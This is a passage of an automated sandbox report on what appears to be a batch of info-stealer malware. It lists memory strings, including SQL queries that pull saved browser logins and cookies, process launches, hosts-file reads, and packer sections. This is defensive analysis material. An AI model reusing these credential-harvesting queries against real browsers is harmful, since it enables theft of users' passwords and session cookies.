Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732319579.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.726807487.000000000063F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;er
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.734137895.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.783208540.0000000000677000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737253570.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.710281326.0000000000677000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.700518090.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.719988038.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757328696.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.740976915.0000000000677000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.719303983.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.601840729.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.550964355.000000000064B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.684569911.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737940340.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.652009596.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.550321982.000000000064B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.738117906.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.561437414.0000000000671000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.590615518.0000000000674000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.629864898.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757577647.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.593121373.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.764168700.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728673907.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.553467639.000000000064B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.768364523.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.571519928.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.679466004.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.712872500.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.597491080.0000000000671000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.627673563.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.638228739.000000000066F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.658642286.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.630923846.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.685175846.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.670136746.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.591789023.0000000000674000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.598589580.0000000000676000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.561872354.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.712268030.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.582308748.0000000000674000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.648338000.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.746484304.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.698464163.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732971743.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.548399043.000000000064B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.567030310.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.584882811.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.700309942.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.717055360.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.767453966.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716110738.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693756834.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.772717653.0000000000677000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.689479093.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.759862835.0000000000677000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.636484417.0000000000669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url,action_url,username_element,username_value,password_element,hex(password_value) password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for FROM logins;
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.684569911.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.652009596.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.679466004.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.638228739.000000000066F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.658642286.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.630923846.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.685175846.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.670136746.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.648338000.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.689479093.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.636484417.0000000000669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url,action_url,username_element,username_value,password_element,hex(password_value) password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for FROM logins;BK
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.734137895.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737253570.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757328696.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.658293250.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.503719189.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.549351409.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.419326871.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737940340.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.738117906.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.561437414.0000000000671000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.481330462.0000000000647000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.509371272.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.582308748.0000000000674000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.373135199.0000000000651000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732971743.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.584882811.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.781410050.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.395411125.000000000065F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.767453966.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.551540914.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513260236.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.483023219.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.507384233.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.511850565.0000000000669000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.480632836.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.499751175.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.484065613.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.492688504.0000000000669000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.481871423.0000000000669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;truW

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\SysWOW64\control.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_01
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Mutant created: \Sessions\1\BaseNamedObjects\HJSIDHG#WOEJGSDGOHWEGHSDJG
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6484:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4880:120:WilError_01

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Command line argument: sfxname	14_2_00872EF8
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Command line argument: sfxstime	14_2_00872EF8
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Command line argument: STARTDLG	14_2_00872EF8
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: b(f5	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: b(f4	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: C+`	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: ia(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: Ia(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: BR	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: ia(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: GB0	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: FM=	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Command line argument: 5a(\|	16_2_00982860

Source: ze5tCopHgrlItmsTQGIZcUK1.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: C:\Users\user\Desktop\fJe9em23BB.exe

File written: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\fJe9em23BB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: fJe9em23BB.exe

Static file information: File size 2440208 > 1048576

Source: fJe9em23BB.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x13ac00

Source:

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe

Unpacked PE file: 35.2.ccsearcher.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe

Unpacked PE file: 35.2.ccsearcher.exe.400000.0.unpack .text:ER;.od3b8e:R;.pd3b8f:W;.qd3b90:W;.rsrc:R;.react2:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00873A94 push eax; ret	14_2_00873AB2
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_008747D0 push ecx; ret	14_2_008747E3
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009C3163 push ecx; ret	16_2_009C3176

Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name:
Source: fJe9em23BB.exe	Static PE information: section name: .themida
Source: fJe9em23BB.exe	Static PE information: section name: .boot
Source: installer[1].exe.0.dr	Static PE information: section name:
Source: installer[1].exe.0.dr	Static PE information: section name:
Source: installer[1].exe.0.dr	Static PE information: section name: .themida
Source: installer[1].exe.0.dr	Static PE information: section name: .boot
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: section name:
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: section name:
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: section name: .themida
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: section name: .boot
Source: setup331[1].exe.0.dr	Static PE information: section name: .didat
Source: 0RWCjOTmPGy8vyz30vD2T7Gp.exe.0.dr	Static PE information: section name: .didat
Source: yare1095[1].exe.0.dr	Static PE information: section name: _RDATA
Source: yare1095[1].exe.0.dr	Static PE information: section name: .vmp0
Source: yare1095[1].exe.0.dr	Static PE information: section name: .vmp1
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe.0.dr	Static PE information: section name: _RDATA
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe.0.dr	Static PE information: section name: .vmp0
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe.0.dr	Static PE information: section name: .vmp1
Source: aJLVqZit29LEEhRpCpbwWX8O.exe.0.dr	Static PE information: section name: __
Source: aJLVqZit29LEEhRpCpbwWX8O.exe.0.dr	Static PE information: section name: __
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: section name: ._K)
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: section name: .$gT
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: section name: .qD*
Source: I1E4fVux.exe.21.dr	Static PE information: section name: .peN
Source: I1E4fVux.exe.21.dr	Static PE information: section name: .Nb8
Source: I1E4fVux.exe.21.dr	Static PE information: section name: .va$
Source: nss3.dll.21.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.21.dr	Static PE information: section name: .didat
Source: mozglue.dll.21.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.21.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.21.dr	Static PE information: section name: .00cfg
Source: sqlite3.dll.21.dr	Static PE information: section name: /4
Source: sqlite3.dll.21.dr	Static PE information: section name: /19
Source: sqlite3.dll.21.dr	Static PE information: section name: /31
Source: sqlite3.dll.21.dr	Static PE information: section name: /45
Source: sqlite3.dll.21.dr	Static PE information: section name: /57
Source: sqlite3.dll.21.dr	Static PE information: section name: /70
Source: sqlite3.dll.21.dr	Static PE information: section name: /81
Source: sqlite3.dll.21.dr	Static PE information: section name: /92
Source: 1Mr090DD.exe.21.dr	Static PE information: section name: UPX2
Source: ccsearcher.exe.25.dr	Static PE information: section name: .od3b8e
Source: ccsearcher.exe.25.dr	Static PE information: section name: .pd3b8f
Source: ccsearcher.exe.25.dr	Static PE information: section name: .qd3b90
Source: ccsearcher.exe.25.dr	Static PE information: section name: .react2

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

